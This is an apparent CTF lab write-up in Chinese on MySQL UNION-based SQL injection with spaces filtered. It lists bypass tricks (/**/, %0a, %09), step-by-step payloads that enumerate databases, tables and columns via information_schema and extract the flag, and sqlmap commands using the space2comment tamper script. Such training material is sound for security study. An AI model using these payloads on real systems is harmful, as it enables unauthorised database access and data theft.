技能树-Web题-SQL注入-Mysql结构-过滤空格
Mysql结构—过滤空格
既然是过滤空格,绕过空格的方法:
1、/**/
2、%0a
注:%09 %0A %0D +据说也可以替代空格
判断注入点
1/**/and/**/1=1 有回显
注:在url中使用%0a,%0D也可以绕过
1/**/and/**/1=2 无回显
由此判断存在注入点
判断字段数
1/**/order/**/by/**/3 无回显
1/**/order/**/by/**/2 有回显
由此判断字段数为2(当前表的列数为2)
判断回显字段数
-1/**/union/**/select/**/1,2
!
1,2都回显
爆库名
-1/**/union/**/select/**/user(),database()
得到数据库名为sqli,根据当前数据库名得到数据库下的表名
爆表名
-1/**/union/**/select/**/user(),group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
得到两张表名,尝试查看第一张表的数据
爆列名
-1/**/union/**/select/**/user(),group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='kcdwsurykl'
得到第一张表中的字段名,根据字段名获取数据
爆数据
-1/**/union/**/select/**/user(),group_concat(efopydutgu)/**/from/**/sqli.kcdwsurykl
得到flag
sqlmap
sqlmap -u url --dbs --tamper "space2comment.py" --batch
space2comment.py
这是一个脚本,作用:是为了用/**/替换空格字符’ ‘
在sqlmap中为了绕过过滤,在tamper中有很多脚本用于绕过,如:apostrophemask.py (作用是用utf8代替引号)等
sqlma -u url --dbs -D 库名 --tables --tamper "space2comment.py" --batch
sqlma -u url --dbs -D 库名 -T 表名 --columns --dump --tamper "space2comment.py" --batch